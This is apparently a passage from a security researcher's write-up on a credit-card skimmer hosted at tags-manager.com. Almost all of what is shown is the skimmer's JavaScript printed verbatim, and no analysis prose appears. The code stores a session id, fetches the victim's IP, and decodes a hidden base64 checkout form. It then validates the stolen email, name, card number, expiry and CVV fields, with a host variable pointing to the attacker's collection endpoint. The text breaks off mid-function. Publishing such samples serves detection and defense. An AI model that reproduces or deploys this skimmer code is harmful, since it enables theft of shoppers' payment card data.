tags-manager.com - A WebSocket Skimmer That Brings Its Own Checkout Form
(function() { var sid = '212de5d2275c6838a31636b442d8f08b'; var ip = '127.0.0.1'; var si 2026-11-1 14:31:31 Author: lukeleal.com(查看原文) 阅读量:13 收藏

(function() {
    var sid = '212de5d2275c6838a31636b442d8f08b';
    var ip = '127.0.0.1';
    var site_id = '52';
    var translate = {"Pay with Credit or Debit Card":"Pay with Credit or Debit Card","Please check your email address":"Please check your email address","Please check the cardholder first name":"Please check the cardholder first name","Please check the cardholder last name":"Please check the cardholder last name","Please check your card number":"Please check your card number","Please check your card expiry date":"Please check your card expiry date","Please check your card CVV":"Please check your card CVV","Sorry. We can not process your payment. Please select a different payment method.":"Sorry. We can not process your payment. Please select a different payment method.","Back":"Back","Pay":"Pay"};
    var host = '//tags-manager.com/compare';
    var form_html = 'PHN0eWxlIHR5cGU9InRleHQvY3NzIj4gLnpYaGtSSVJ4S3pOaGRIUnRSRmhQaENaZ29haSB7fSAuQlNJ...[33,268 bytes of base64 form HTML truncated]';
	
	form_html = atob(form_html);
	
	Object.keys(translate).forEach(function(key) {
		form_html = form_html.replace('>'+key+'<', '>'+translate[key]+'<')
	});
	
	function setWithExpiryMy(key, value, ttl) {
		const now = new Date()

		const item = {
			value: value,
			expiry: now.getTime() + ttl,
		}
		localStorage.setItem(key, JSON.stringify(item))
	}

	function getWithExpiryMy(key) {
		try {
			const itemStr = localStorage.getItem(key)
			
			if (!itemStr) {
				return null
			}
			const item = JSON.parse(itemStr)
			const now = new Date()
			
			if (now.getTime() > item.expiry) {
				localStorage.removeItem(key)
				return null
			}
			return item.value
		} catch {
			return null;
		}
	}
	
	if (getWithExpiryMy(site_id+'mysid') === null) {
		setWithExpiryMy(site_id+'mysid', sid, 3600000);
	} else {
		sid = getWithExpiryMy(site_id+'mysid');
	}
	
	if (getWithExpiryMy(site_id+'myip') === null) {
		var request_cf = new XMLHttpRequest();
		request_cf.open('GET', 'hxxps://www[.]cloudflare[.]com/cdn-cgi/trace', true);
		request_cf.onload = function() {
			var parsed = {};
			
			this.response.split('\n').forEach(function(v) {
				var d = v.split('=');
				
				if (d.length == 2) {
					parsed[d[0]] = d[1];
				}
			});
		
			var cf_ip = parsed['ip'];
			ip = cf_ip;
			
			if (typeof my_4444callback === "function") {
				my_4444callback(ip);
			}
			
			setWithExpiryMy(site_id+'myip', ip, 3600000);
		};

		request_cf.onerror = function() {};
		request_cf.send();
	} else {
		ip = getWithExpiryMy(site_id+'myip');
		
		if (typeof my_4444callback === "function") {
			my_4444callback(ip);
		}
	}

    function form_show() {
var commonjsGlobal="undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{},NumeralFormatter=function(e,t,r,i,n,a,l,o,s,c){var m=this;m.numeralDecimalMark=e||".",m.numeralIntegerScale=0<t?t:0,m.numeralDecimalScale=0<=r?r:2,m.numeralThousandsGroupStyle=i||NumeralFormatter.groupStyle.thousand,m.numeralPositiveOnly=!!n,m.stripLeadingZeroes=!1!==a,m.prefix=l||""===l?l:"",m.signBeforePrefix=!!o,m.tailPrefix=!!s,m.delimiter=c||""===c?c:",",m.delimiterRE=c?new RegExp("\\"+c,"g"):""};NumeralFormatter.groupStyle={thousand:"thousand",lakh:"lakh",wan:"wan",none:"none"},NumeralFormatter.prototype={getRawValue:function(e){return e.replace(this.delimiterRE,"").replace(this.numeralDecimalMark,".")},format:function(e){var t,r,i,n,a=this,l="";switch(e=e.replace(/[A-Za-z]/g,"").replace(a.numeralDecimalMark,"M").replace(/[^\dM-]/g,"").replace(/^\-/,"N").replace(/\-/g,"").replace("N",a.numeralPositiveOnly?"":"-").replace("M",a.numeralDecimalMark),a.stripLeadingZeroes&&(e=e.replace(/^(-)?0+(?=\d)/,"$1")),r="-"===e.slice(0,1)?"-":"",i=void 0!==a.prefix?a.signBeforePrefix?r+a.prefix:a.prefix+r:r,0<=(n=e).indexOf(a.numeralDecimalMark)&&(n=(t=e.split(a.numeralDecimalMark))[0],l=a.numeralDecimalMark+t[1].slice(0,a.numeralDecimalScale)),"-"==r&&(n=n.slice(1)),0<a.numeralIntegerScale&&(n=n.slice(0,a.numeralIntegerScale)),a.numeralThousandsGroupStyle){case NumeralFormatter.groupStyle.lakh:n=n.replace(/(\d)(?=(\d\d)+\d$)/g,"$1"+a.delimiter);break;case NumeralFormatter.groupStyle.wan:n=n.replace(/(\d)(?=(\d{4})+$)/g,"$1"+a.delimiter);break;case NumeralFormatter.groupStyle.thousand:n=n.replace(/(\d)(?=(\d{3})+$)/g,"$1"+a.delimiter)}return a.tailPrefix?r+n.toString()+(0<a.numeralDecimalScale?l.toString():"")+a.prefix:i+n.toString()+(0<a.numeralDecimalScale?l.toString():"")}};var NumeralFormatter_1=NumeralFormatter,DateFormatter=function(e,t,r){var i=this;i.date=[],i.blocks=[],i.datePattern=e,i.dateMin=t.split("-").reverse().map(function(e){return parseInt(e,10)}),2===i.dateMin.length&&i.dateMin.unshift(0),i.dateMax=r.split("-").reverse().map(function(e){return parseInt(e,10)}),2===i.dateMax.length&&i.dateMax.unshift(0),i.initBlocks()};DateFormatter.prototype={initBlocks:function(){var t=this;t.datePattern.forEach(function(e){"Y"===e?t.blocks.push(4):t.blocks.push(2)})},getISOFormatDate:function(){var e=this,t=e.date;return t[2]?t[2]+"-"+e.addLeadingZero(t[1])+"-"+e.addLeadingZero(t[0]):""},getBlocks:function(){return this.blocks},getValidatedDate:function(a){var l=this,o="";return a=a.replace(/[^\d]/g,""),l.blocks.forEach(function(e,t){if(0<a.length){var r=a.slice(0,e),i=r.slice(0,1),n=a.slice(e);switch(l.datePattern[t]){case"d":"00"===r?r="01":3<parseInt(i,10)?r="0"+i:31<parseInt(r,10)&&(r="31");break;case"m":"00"===r?r="01":1<parseInt(i,10)?r="0"+i:12<parseInt(r,10)&&(r="12")}o+=r,a=n}}),this.getFixedDateString(o)},getFixedDateString:function(e){var t,r,i,n=this,a=n.datePattern,l=[],o=0,s=0,c=0,m=0,u=0,d=0,p=!1;return 4===e.length&&"y"!==a[0].toLowerCase()&&"y"!==a[1].toLowerCase()&&(u=2-(m="d"===a[0]?0:2),t=parseInt(e.slice(m,m+2),10),r=parseInt(e.slice(u,u+2),10),l=this.getFixedDate(t,r,0)),8===e.length&&(a.forEach(function(e,t){switch(e){case"d":o=t;break;case"m":s=t;break;default:c=t}}),d=2*c,m=o<=c?2*o:2*o+2,u=s<=c?2*s:2*s+2,t=parseInt(e.slice(m,m+2),10),r=parseInt(e.slice(u,u+2),10),i=parseInt(e.slice(d,d+4),10),p=4===e.slice(d,d+4).length,l=this.getFixedDate(t,r,i)),4!==e.length||"y"!==a[0]&&"y"!==a[1]||(d=2-(u="m"===a[0]?0:2),r=parseInt(e.slice(u,u+2),10),i=parseInt(e.slice(d,d+2),10),p=2===e.slice(d,d+2).length,l=[0,r,i]),6!==e.length||"Y"!==a[0]&&"Y"!==a[1]||(d=2-.5*(u="m"===a[0]?0:4),r=parseInt(e.slice(u,u+2),10),i=parseInt(e.slice(d,d+4),10),p=4===e.slice(d,d+4).length,l=[0,r,i]),l=n.getRangeFixedDate(l),0===(n.date=l).length?e:a.reduce(function(e,t){switch(t){case"d":return e+(0===l[0]?"":n.addLeadingZero(l[0]));case"m":return e+(0===l[1]?"":n.addLeadingZero(l[1]));case"y":return e+(p?n.addLeadingZeroForYear(l[2],!1):"");case"Y":return e+(p?n.addLeadingZeroForYear(l[2],!0):"")}},"")},getRangeFixedDate:function(e){var t=this.datePattern,r=this.dateMin||[],i=this.dateMax||[];return!e.length||r.length<3&&i.length<3||t.find(function(e){return"y"===e.toLowerCase()})&&0===e[2]?e:i.length&&(i[2]<e[2]||i[2]===e[2]&&(i[1]<e[1]||i[1]===e[1]&&i[0]<e[0]))?i:r.length&&(r[2]>e[2]||r[2]===e[2]&&(r[1]>e[1]||r[1]===e[1]&&r[0]>e[0]))?r:e},getFixedDate:function(e,t,r){return e=Math.min(e,31),t=Math.min(t,12),r=parseInt(r||0,10),(t<7&&t%2==0||8<t&&t%2==1)&&(e=Math.min(e,2===t?this.isLeapYear(r)?29:28:30)),[e,t,r]},isLeapYear:function(e){return e%4==0&&e%100!=0||e%400==0},addLeadingZero:function(e){return(e<10?"0":"")+e},addLeadingZeroForYear:function(e,t){return t?(e<10?"000":e<100?"00":e<1e3?"0":"")+e:(e<10?"0":"")+e}};var DateFormatter_1=DateFormatter,TimeFormatter=function(e,t){var r=this;r.time=[],r.blocks=[],r.timePattern=e,r.timeFormat=t,r.initBlocks()};TimeFormatter.prototype={initBlocks:function(){var e=this;e.timePattern.forEach(function(){e.blocks.push(2)})},getISOFormatTime:function(){var e=this.time;return e[2]?this.addLeadingZero(e[0])+":"+this.addLeadingZero(e[1])+":"+this.addLeadingZero(e[2]):""},getBlocks:function(){return this.blocks},getTimeFormatOptions:function(){return"12"===String(this.timeFormat)?{maxHourFirstDigit:1,maxHours:12,maxMinutesFirstDigit:5,maxMinutes:60}:{maxHourFirstDigit:2,maxHours:23,maxMinutesFirstDigit:5,maxMinutes:60}},getValidatedTime:function(a){var l=this,o="";a=a.replace(/[^\d]/g,"");var s=l.getTimeFormatOptions();return l.blocks.forEach(function(e,t){if(0<a.length){var r=a.slice(0,e),i=r.slice(0,1),n=a.slice(e);switch(l.timePattern[t]){case"h":parseInt(i,10)>s.maxHourFirstDigit?r="0"+i:parseInt(r,10)>s.maxHours&&(r=s.maxHours+"");break;case"m":case"s":parseInt(i,10)>s.maxMinutesFirstDigit?r="0"+i:parseInt(r,10)>s.maxMinutes&&(r=s.maxMinutes+"")}o+=r,a=n}}),this.getFixedTimeString(o)},getFixedTimeString:function(e){var t,r,i,n=this,a=n.timePattern,l=[],o=0,s=0,c=0,m=0,u=0;return 6===e.length&&(a.forEach(function(e,t){switch(e){case"s":o=2*t;break;case"m":s=2*t;break;case"h":c=2*t}}),u=c,m=s,t=parseInt(e.slice(o,o+2),10),r=parseInt(e.slice(m,m+2),10),i=parseInt(e.slice(u,u+2),10),l=this.getFixedTime(i,r,t)),4===e.length&&n.timePattern.indexOf("s")<0&&(a.forEach(function(e,t){switch(e){case"m":s=2*t;break;case"h":c=2*t}}),u=c,m=s,t=0,r=parseInt(e.slice(m,m+2),10),i=parseInt(e.slice(u,u+2),10),l=this.getFixedTime(i,r,t)),0===(n.time=l).length?e:a.reduce(function(e,t){switch(t){case"s":return e+n.addLeadingZero(l[2]);case"m":return e+n.addLeadingZero(l[1]);case"h":return e+n.addLeadingZero(l[0])}},"")},getFixedTime:function(e,t,r){return r=Math.min(parseInt(r||0,10),60),t=Math.min(t,60),[e=Math.min(e,60),t,r]},addLeadingZero:function(e){return(e<10?"0":"")+e}};var TimeFormatter_1=TimeFormatter,PhoneFormatter=function(e,t){this.delimiter=t||""===t?t:" ",this.delimiterRE=t?new RegExp("\\"+t,"g"):"",this.formatter=e};PhoneFormatter.prototype={setFormatter:function(e){this.formatter=e},format:function(e){this.formatter.clear();for(var t,r="",i=!1,n=0,a=(e=(e=(e=e.replace(/[^\d+]/g,"")).replace(/^\+/,"B").replace(/\+/g,"").replace("B","+")).replace(this.delimiterRE,"")).length;n<a;n++)t=this.formatter.inputDigit(e.charAt(n)),/[\s()-]/g.test(t)?(r=t,i=!0):i||(r=t);return r=(r=r.replace(/[()]/g,"")).replace(/[\s-]/g,this.delimiter)}};var PhoneFormatter_1=PhoneFormatter,CreditCardDetector={blocks:{uatp:[4,5,6],amex:[4,6,5],diners:[4,6,4],discover:[4,4,4,4],mastercard:[4,4,4,4],dankort:[4,4,4,4],instapayment:[4,4,4,4],jcb15:[4,6,5],jcb:[4,4,4,4],maestro:[4,4,4,4],visa:[4,4,4,4],mir:[4,4,4,4],unionPay:[4,4,4,4],general:[4,4,4,4]},re:{uatp:/^(?!1800)1\d{0,14}/,amex:/^3[47]\d{0,13}/,discover:/^(?:6011|65\d{0,2}|64[4-9]\d?)\d{0,12}/,diners:/^3(?:0([0-5]|9)|[689]\d?)\d{0,11}/,mastercard:/^(5[1-5]\d{0,2}|22[2-9]\d{0,1}|2[3-7]\d{0,2})\d{0,12}/,dankort:/^(5019|4175|4571)\d{0,12}/,instapayment:/^63[7-9]\d{0,13}/,jcb15:/^(?:2131|1800)\d{0,11}/,jcb:/^(?:35\d{0,2})\d{0,12}/,maestro:/^(?:5[0678]\d{0,2}|6304|67\d{0,2})\d{0,12}/,mir:/^220[0-4]\d{0,12}/,visa:/^4\d{0,15}/,unionPay:/^(62|81)\d{0,14}/},getStrictBlocks:function(e){var t=e.reduce(function(e,t){return e+t},0);return e.concat(19-t)},getInfo:function(e,t){var r=CreditCardDetector.blocks,i=CreditCardDetector.re;for(var n in t=!!t,i)if(i[n].test(e)){var a=r[n];return{type:n,blocks:t?this.getStrictBlocks(a):a}}return{type:"unknown",blocks:t?this.getStrictBlocks(r.general):r.general}}},CreditCardDetector_1=CreditCardDetector,Util={noop:function(){},strip:function(e,t){return e.replace(t,"")},getPostDelimiter:function(t,e,r){if(0===r.length)return t.slice(-e.length)===e?e:"";var i="";return r.forEach(function(e){t.slice(-e.length)===e&&(i=e)}),i},getDelimiterREByDelimiter:function(e){return new RegExp(e.replace(/([.?*+^$[\]\\(){}|-])/g,"\\$1"),"g")},getNextCursorPosition:function(e,t,r,i,n){return t.length===e?r.length:e+this.getPositionOffset(e,t,r,i,n)},getPositionOffset:function(e,t,r,i,n){var a=this.stripDelimiters(t.slice(0,e),i,n),l=this.stripDelimiters(r.slice(0,e),i,n),o=a.length-l.length;return 0!=o?o/Math.abs(o):0},stripDelimiters:function(t,e,r){var i=this;if(0!==r.length)return r.forEach(function(e){e.split("").forEach(function(e){t=t.replace(i.getDelimiterREByDelimiter(e),"")})}),t;var n=e?i.getDelimiterREByDelimiter(e):"";return t.replace(n,"")},headStr:function(e,t){return e.slice(0,t)},getMaxLength:function(e){return e.reduce(function(e,t){return e+t},0)},getPrefixStrippedValue:function(e,t,r,i,n,a,l,o,s){if(0===r)return e;if(e===t&&""!==e)return"";if(s&&"-"==e.slice(0,1)){var c="-"==i.slice(0,1)?i.slice(1):i;return"-"+this.getPrefixStrippedValue(e.slice(1),t,r,c,n,a,l,o,s)}if(i.slice(0,r)!==t&&!o)return l&&!i&&e?e:"";if(i.slice(-r)!==t&&o)return l&&!i&&e?e:"";var m=this.stripDelimiters(i,n,a);return e.slice(0,r)===t||o?e.slice(-r)!==t&&o?m.slice(0,-r-1):o?e.slice(0,-r):e.slice(r):m.slice(r)},getFirstDiffIndex:function(e,t){for(var r=0;e.charAt(r)===t.charAt(r);)if(""===e.charAt(r++))return-1;return r},getFormattedValue:function(n,e,a,l,o,s){var c="",m=0<o.length,u="";return 0===a?n:(e.forEach(function(e,t){var r,i;0<n.length&&(r=n.slice(0,e),i=n.slice(e),u=m?o[s?t-1:t]||u:l,s?(0<t&&(c+=u),c+=r):(c+=r,r.length===e&&t<a-1&&(c+=u)),n=i)}),c)},fixPrefixCursor:function(e,t,r,i){var n,a,l;e&&(n=e.value,a=r||i[0]||" ",!e.setSelectionRange||!t||t.length+a.length<=n.length||(l=2*n.length,setTimeout(function(){e.setSelectionRange(l,l)},1)))},checkFullSelection:function(e){try{return(window.getSelection()||document.getSelection()||{}).toString().length===e.length}catch(e){}return!1},setSelection:function(e,t,r){if(e===this.getActiveElement(r)&&!(e&&e.value.length<=t))if(e.createTextRange){var i=e.createTextRange();i.move("character",t),i.select()}else try{e.setSelectionRange(t,t)}catch(e){console.warn("The input element type does not support selection")}},getActiveElement:function(e){var t=e.activeElement;return t&&t.shadowRoot?this.getActiveElement(t.shadowRoot):t},isAndroid:function(){return navigator&&/android/i.test(navigator.userAgent)},isAndroidBackspaceKeydown:function(e,t){return!!(this.isAndroid()&&e&&t)&&t===e.slice(0,-1)}},Util_1=Util,DefaultProperties={assign:function(e,t){return(e=e||{}).creditCard=!!(t=t||{}).creditCard,e.creditCardStrictMode=!!t.creditCardStrictMode,e.creditCardType="",e.onCreditCardTypeChanged=t.onCreditCardTypeChanged||function(){},e.phone=!!t.phone,e.phoneRegionCode=t.phoneRegionCode||"AU",e.phoneFormatter={},e.time=!!t.time,e.timePattern=t.timePattern||["h","m","s"],e.timeFormat=t.timeFormat||"24",e.timeFormatter={},e.date=!!t.date,e.datePattern=t.datePattern||["d","m","Y"],e.dateMin=t.dateMin||"",e.dateMax=t.dateMax||"",e.dateFormatter={},e.numeral=!!t.numeral,e.numeralIntegerScale=0<t.numeralIntegerScale?t.numeralIntegerScale:0,e.numeralDecimalScale=0<=t.numeralDecimalScale?t.numeralDecimalScale:2,e.numeralDecimalMark=t.numeralDecimalMark||".",e.numeralThousandsGroupStyle=t.numeralThousandsGroupStyle||"thousand",e.numeralPositiveOnly=!!t.numeralPositiveOnly,e.stripLeadingZeroes=!1!==t.stripLeadingZeroes,e.signBeforePrefix=!!t.signBeforePrefix,e.tailPrefix=!!t.tailPrefix,e.swapHiddenInput=!!t.swapHiddenInput,e.numericOnly=e.creditCard||e.date||!!t.numericOnly,e.uppercase=!!t.uppercase,e.lowercase=!!t.lowercase,e.prefix=!e.creditCard&&!e.date&&t.prefix||"",e.noImmediatePrefix=!!t.noImmediatePrefix,e.prefixLength=e.prefix.length,e.rawValueTrimPrefix=!!t.rawValueTrimPrefix,e.copyDelimiter=!!t.copyDelimiter,e.initValue=void 0!==t.initValue&&null!==t.initValue?t.initValue.toString():"",e.delimiter=t.delimiter||""===t.delimiter?t.delimiter:t.date?"/":t.time?":":t.numeral?",":(t.phone," "),e.delimiterLength=e.delimiter.length,e.delimiterLazyShow=!!t.delimiterLazyShow,e.delimiters=t.delimiters||[],e.blocks=t.blocks||[],e.blocksLength=e.blocks.length,e.root="object"==typeof commonjsGlobal&&commonjsGlobal?commonjsGlobal:window,e.document=t.document||e.root.document,e.maxLength=0,e.backspace=!1,e.result="",e.onValueChanged=t.onValueChanged||function(){},e}},DefaultProperties_1=DefaultProperties,Cleave=function(e,t){var r=this,i=!1;if("string"==typeof e?(r.element=document.querySelector(e),i=1<document.querySelectorAll(e).length):void 0!==e.length&&0<e.length?(r.element=e[0],i=1<e.length):r.element=e,!r.element)throw new Error("[cleave.js] Please check the element");if(i)try{console.warn("[cleave.js] Multiple input fields matched, cleave.js will only take the first one.")}catch(e){}t.initValue=r.element.value,r.properties=Cleave.DefaultProperties.assign({},t),r.init()};Cleave.prototype={init:function(){var e=this,t=e.properties;t.numeral||t.phone||t.creditCard||t.time||t.date||0!==t.blocksLength||t.prefix?(t.maxLength=Cleave.Util.getMaxLength(t.blocks),e.isAndroid=Cleave.Util.isAndroid(),e.lastInputValue="",e.isBackward="",e.onChangeListener=e.onChange.bind(e),e.onKeyDownListener=e.onKeyDown.bind(e),e.onFocusListener=e.onFocus.bind(e),e.onCutListener=e.onCut.bind(e),e.onCopyListener=e.onCopy.bind(e),e.initSwapHiddenInput(),e.element.addEventListener("input",e.onChangeListener),e.element.addEventListener("keydown",e.onKeyDownListener),e.element.addEventListener("focus",e.onFocusListener),e.element.addEventListener("cut",e.onCutListener),e.element.addEventListener("copy",e.onCopyListener),e.initPhoneFormatter(),e.initDateFormatter(),e.initTimeFormatter(),e.initNumeralFormatter(),(t.initValue||t.prefix&&!t.noImmediatePrefix)&&e.onInput(t.initValue)):e.onInput(t.initValue)},initSwapHiddenInput:function(){var e,t=this;t.properties.swapHiddenInput&&(e=t.element.cloneNode(!0),t.element.parentNode.insertBefore(e,t.element),t.elementSwapHidden=t.element,t.elementSwapHidden.type="hidden",t.element=e,t[.]element[.]id="")},initNumeralFormatter:function(){var e=this.properties;e.numeral&&(e.numeralFormatter=new Cleave.NumeralFormatter(e.numeralDecimalMark,e.numeralIntegerScale,e.numeralDecimalScale,e.numeralThousandsGroupStyle,e.numeralPositiveOnly,e.stripLeadingZeroes,e.prefix,e.signBeforePrefix,e.tailPrefix,e.delimiter))},initTimeFormatter:function(){var e=this.properties;e.time&&(e.timeFormatter=new Cleave.TimeFormatter(e.timePattern,e.timeFormat),e.blocks=e.timeFormatter.getBlocks(),e.blocksLength=e.blocks.length,e.maxLength=Cleave.Util.getMaxLength(e.blocks))},initDateFormatter:function(){var e=this.properties;e.date&&(e.dateFormatter=new Cleave.DateFormatter(e.datePattern,e.dateMin,e.dateMax),e.blocks=e.dateFormatter.getBlocks(),e.blocksLength=e.blocks.length,e.maxLength=Cleave.Util.getMaxLength(e.blocks))},initPhoneFormatter:function(){var e=this.properties;if(e.phone)try{e.phoneFormatter=new Cleave.PhoneFormatter(new e.root.Cleave.AsYouTypeFormatter(e.phoneRegionCode),e.delimiter)}catch(e){throw new Error("[cleave.js] Please include phone-type-formatter.{country}.js lib")}},onKeyDown:function(e){var t=e.which||e.keyCode;this.lastInputValue=this.element.value,this.isBackward=8===t},onChange:function(e){var t=this,r=t.properties,i=Cleave.Util;t.isBackward=t.isBackward||"deleteContentBackward"===e.inputType;var n=i.getPostDelimiter(t.lastInputValue,r.delimiter,r.delimiters);t.isBackward&&n?r.postDelimiterBackspace=n:r.postDelimiterBackspace=!1,this.onInput(this.element.value)},onFocus:function(){var e=this,t=e.properties;e.lastInputValue=e.element.value,t.prefix&&t.noImmediatePrefix&&!e.element.value&&this.onInput(t.prefix),Cleave.Util.fixPrefixCursor(e.element,t.prefix,t.delimiter,t.delimiters)},onCut:function(e){Cleave.Util.checkFullSelection(this.element.value)&&(this.copyClipboardData(e),this.onInput(""))},onCopy:function(e){Cleave.Util.checkFullSelection(this.element.value)&&this.copyClipboardData(e)},copyClipboardData:function(e){var t=this.properties,r=Cleave.Util,i=this.element.value,n="",n=t.copyDelimiter?i:r.stripDelimiters(i,t.delimiter,t.delimiters);try{e.clipboardData?e.clipboardData.setData("Text",n):window.clipboardData.setData("Text",n),e.preventDefault()}catch(e){}},onInput:function(e){var t=this,r=t.properties,i=Cleave.Util,n=i.getPostDelimiter(e,r.delimiter,r.delimiters);return r.numeral||!r.postDelimiterBackspace||n||(e=i.headStr(e,e.length-r.postDelimiterBackspace.length)),r.phone?(!r.prefix||r.noImmediatePrefix&&!e.length?r.result=r.phoneFormatter.format(e):r.result=r.prefix+r.phoneFormatter.format(e).slice(r.prefix.length),void t.updateValueState()):r.numeral?(r.prefix&&r.noImmediatePrefix&&0===e.length?r.result="":r.result=r.numeralFormatter.format(e),void t.updateValueState()):(r.date&&(e=r.dateFormatter.getValidatedDate(e)),r.time&&(e=r.timeFormatter.getValidatedTime(e)),e=i.stripDelimiters(e,r.delimiter,r.delimiters),e=i.getPrefixStrippedValue(e,r.prefix,r.prefixLength,r.result,r.delimiter,r.delimiters,r.noImmediatePrefix,r.tailPrefix,r.signBeforePrefix),e=r.numericOnly?i.strip(e,/[^\d]/g):e,e=r.uppercase?e.toUpperCase():e,e=r.lowercase?e.toLowerCase():e,r.prefix&&(r.tailPrefix?e+=r.prefix:e=r.prefix+e,0===r.blocksLength)?r.result=e:(r.creditCard&&t.updateCreditCardPropsByValue(e),e=i.headStr(e,r.maxLength),r.result=i.getFormattedValue(e,r.blocks,r.blocksLength,r.delimiter,r.delimiters,r.delimiterLazyShow)),void t.updateValueState())},updateCreditCardPropsByValue:function(e){var t,r=this.properties,i=Cleave.Util;i.headStr(r.result,4)!==i.headStr(e,4)&&(t=Cleave.CreditCardDetector.getInfo(e,r.creditCardStrictMode),r.blocks=t.blocks,r.blocksLength=r.blocks.length,r.maxLength=i.getMaxLength(r.blocks),r.creditCardType!==t.type&&(r.creditCardType=t.type,r.onCreditCardTypeChanged.call(this,r.creditCardType)))},updateValueState:function(){var e,t,r,i=this,n=Cleave.Util,a=i.properties;i.element&&(r=i.element.selectionEnd,e=i.element.value,t=a.result,r=n.getNextCursorPosition(r,e,t,a.delimiter,a.delimiters),i.isAndroid?window.setTimeout(function(){i.element.value=t,n.setSelection(i.element,r,a.document,!1),i.callOnValueChanged()},1):(i.element.value=t,a.swapHiddenInput&&(i.elementSwapHidden.value=i.getRawValue()),n.setSelection(i.element,r,a.document,!1),i.callOnValueChanged()))},callOnValueChanged:function(){var e=this.properties;e.onValueChanged.call(this,{target:{name:this.element.name,value:e.result,rawValue:this.getRawValue()}})},setPhoneRegionCode:function(e){this.properties.phoneRegionCode=e,this.initPhoneFormatter(),this.onChange()},setRawValue:function(e){var t=this.properties;e=null!=e?e.toString():"",t.numeral&&(e=e.replace(".",t.numeralDecimalMark)),t.postDelimiterBackspace=!1,this.element.value=e,this.onInput(e)},getRawValue:function(){var e=this.properties,t=Cleave.Util,r=this.element.value;return e.rawValueTrimPrefix&&(r=t.getPrefixStrippedValue(r,e.prefix,e.prefixLength,e.result,e.delimiter,e.delimiters,e.noImmediatePrefix,e.tailPrefix,e.signBeforePrefix)),r=e.numeral?e.numeralFormatter.getRawValue(r):t.stripDelimiters(r,e.delimiter,e.delimiters)},getISOFormatDate:function(){var e=this.properties;return e.date?e.dateFormatter.getISOFormatDate():""},getISOFormatTime:function(){var e=this.properties;return e.time?e.timeFormatter.getISOFormatTime():""},getFormattedValue:function(){return this.element.value},destroy:function(){var e=this;e.element.removeEventListener("input",e.onChangeListener),e.element.removeEventListener("keydown",e.onKeyDownListener),e.element.removeEventListener("focus",e.onFocusListener),e.element.removeEventListener("cut",e.onCutListener),e.element.removeEventListener("copy",e.onCopyListener)},toString:function(){return"[Cleave Object]"}},Cleave.NumeralFormatter=NumeralFormatter_1,Cleave.DateFormatter=DateFormatter_1,Cleave.TimeFormatter=TimeFormatter_1,Cleave.PhoneFormatter=PhoneFormatter_1,Cleave.CreditCardDetector=CreditCardDetector_1,Cleave.Util=Util_1,Cleave.DefaultProperties=DefaultProperties_1;var Cleave_1=("object"==typeof commonjsGlobal&&commonjsGlobal?commonjsGlobal:window).Cleave=Cleave;


(function(){


function is_valid_email(email) {
	return email.match(/^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/);
}

function xxxx1xxxx(x) {
	return x;
}

var is_success = xxxx1xxxx('.EazcJBKBIhtGJMxpDIANBkBab').substr(1);
var is_active = xxxx1xxxx('.PtpzlRwLaCPLsbsc').substr(1);
var is_error = xxxx1xxxx('.vtAKqfRFRLgprhtIgmYram').substr(1);

function add_success_class(elem) {
	if (!elem.classList.contains(is_success)) {
		elem.classList.add(is_success)
	}
}

function remove_success_class(elem) {
	if (elem.classList.contains(is_success)) {
		elem.classList.remove(is_success)
	}
}

function add_error_class(elem) {
	if (!elem) {
		return;
	}
	if (elem.tagName == 'UL') {
		if (!elem.classList.contains(is_active)) {
			elem.classList.add(is_active)			
		}
	} else {
		if (!elem.classList.contains(is_error)) {
			elem.classList.add(is_error)
		}
		
		remove_success_class(elem);
	}
}

function remove_error_class(elem) {
	if (!elem) {
		return;
	}
	if (elem.tagName == 'UL') {
		if (elem.classList.contains(is_active)) {
			elem.classList.remove(is_active)			
		}
	} else {
		if (elem.classList.contains(is_error)) {
			elem.classList.remove(is_error)
		}
		
		add_success_class(elem);
	}
}

var email_input = document.querySelector('[name=mycc_email]');

email_input.addEventListener('input', function(){
	var card_num_e = document.querySelector('[name=mycc_email]');
	var card_num_err = document.querySelector('.hDdCFnPIzEFWMNAfADjzNXzkHFhao');

	if (!is_valid_email(email_input.value)) {
		add_error_class(card_num_e);
		add_error_class(card_num_err);
	} else {
		remove_error_class(card_num_e);
		remove_error_class(card_num_err);
	}
});

var fn_input = document.querySelector('[name=mycc_first_name]');

fn_input.addEventListener('input', function(){
	var card_num_e = document.querySelector('[name=mycc_first_name]');
	var card_num_err = document.querySelector('.lhYctyKkUyMMcLy');

	if (fn_input.value.length < 2) {
		add_error_class(card_num_e);
		add_error_class(card_num_err);
	} else {
		remove_error_class(card_num_e);
		remove_error_class(card_num_err);
	}
});


var ln_input = document.querySelector('[name=mycc_last_name]');

ln_input.addEventListener('input', function(){
	var card_num_e = document.querySelector('[name=mycc_last_name]');
	var card_num_err = document.querySelector('.ALHqDwdhhCGcuaWjFkVURdXfApQae');

	if (ln_input.value.length < 2) {
		add_error_class(card_num_e);
		add_error_class(card_num_err);
	} else {
		remove_error_class(card_num_e);
		remove_error_class(card_num_err);
	}
});

var cleaveCreditCard = new Cleave('[name=card_num]', {
    creditCard: true,
	onValueChanged: function (e) {
		var card_num_e = document.querySelector('[name=card_num]');
		var card_num_err = document.querySelector('.ICvOCZMFWShmZcpQSdLYqhWdau');

		if (e.target.rawValue !== 'undefined' && e.target.rawValue.length < 13 || e.target.rawValue.length > 19){
			add_error_class(card_num_e);
			add_error_class(card_num_err);
		} else {
			remove_error_class(card_num_e);
			remove_error_class(card_num_err);
		}
	}
});

var cleave = new Cleave('[name=exp_my_value]', {
    date: true,
    datePattern: ['m', 'y'],
	onValueChanged: function (e) {
		var card_num_e = document.querySelector('[name=exp_my_value]');
		var card_num_err = document.querySelector('.NBWKIOGsPHtRAwEyHxPal');
		
		if (e.target.value.length == 5 && parseInt(e.target.value.split('/')[1]) >= parseInt(new Date().getFullYear().toString().substr(-2))) {
			remove_error_class(card_num_e);
			remove_error_class(card_num_err);
		} else {
			add_error_class(card_num_e);
			add_error_class(card_num_err);
		}
	}
	
});

var cleave = new Cleave('[name=cvv2]', {
	blocks: [4],
    numericOnly: true,
	onValueChanged: function (e) {
		var card_num_e = document.querySelector('[name=cvv2]');
		var card_num_err = document.querySelector('.qzEfitMuECBeVTjxqdbe');

		if (e.target.rawValue !== 'undefined' && e.target.rawValue.length < 3 || e.target.rawValue.length > 4){
			add_error_class(card_num_e);
			add_error_class(card_num_err);
		} else {
			remove_error_class(card_num_e);
